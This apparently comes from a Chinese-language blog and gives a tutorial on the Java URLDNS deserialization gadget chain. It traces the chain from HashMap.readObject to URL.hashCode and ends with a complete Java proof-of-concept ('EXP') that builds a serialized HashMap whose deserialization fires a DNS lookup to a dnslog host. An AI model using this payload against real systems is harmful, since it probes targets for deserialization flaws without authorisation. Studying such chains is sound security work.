Java URLDNS链是通过readObject反序列化+DNS查询来确认反序列化利用点的存在。该利用链具有如下特点:
只能发起 DNS 请求,不能进行其它利用。
不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求。
目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞。
整个攻击链
HashMap.readObject->putVal->hash->URL.hashCode->URLStreamHandler.hashCode
利用链分析
HashMap.put()
使用hash()函数处理key
hash()
会使用key自带的hashCode()方法,如果key是URL对象,就会调用URL类的hashCode方法
URL.hashCode()
会判断属性hashCode是否为-1
hashCode默认为-1,即hashCode函数默认会执行handler.hashCode(this);方法
handler
是一个URLStreamHandler对象
URLStreamHandler.hashCode()
getHostAddress(u)方法会获取主机地址,必定会进行DNS解析。
至此,链条已成
HashMap<Object, Object> map = new HashMap<>();
URL url = new URL("http://32213c1e.log.dnslog.myfw.us.");
map.put(url,null);
成功访问dns
反序列化利用链
已知反序列会对象若重写了readObject()方法,则会优先调用重写的readObject()方法
HashMap.readObject()
依然会使用putVal()并在里面执行hash方法
后面就是前面所写的利用链
HashMap.readObject->putVal->hash->URL.hashCode->URLStreamHandler.hashCode
序列化不触发DNS,反序列化触发DNS
在URL类,hashCode()方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
若hashCode不等于-1,则不会执行后面的方法,因此只需要使用反射设置hashCode不等于-1即可
HashMap<Object, Object> map = new HashMap<>();
URL url = new URL("http://168cf62e.log.dnslog.myfw.us.");
Field hashCode = URL.class.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,1);
map.put(url,null);
serialize(map);
不会触发DNS
在反序列前设置回-1即可
HashMap<Object, Object> map = new HashMap<>();
URL url = new URL("http://168cf62e.log.dnslog.myfw.us.");
Field hashCode = URL.class.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,1);
map.put(url,null);
hashCode.set(url,-1);
// serialize(map);
deserialize();
EXP
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception{
HashMap<Object, Object> map = new HashMap<>();
URL url = new URL("http://168cf62e.log.dnslog.myfw.us.");
Field hashCode = URL.class.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,1);
map.put(url,null);
hashCode.set(url,-1);
// serialize(map);
deserialize();
}
public static void serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize() throws Exception{
FileInputStream fis = new FileInputStream("ser.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
System.out.println(ois.readObject());
}
}
网友评论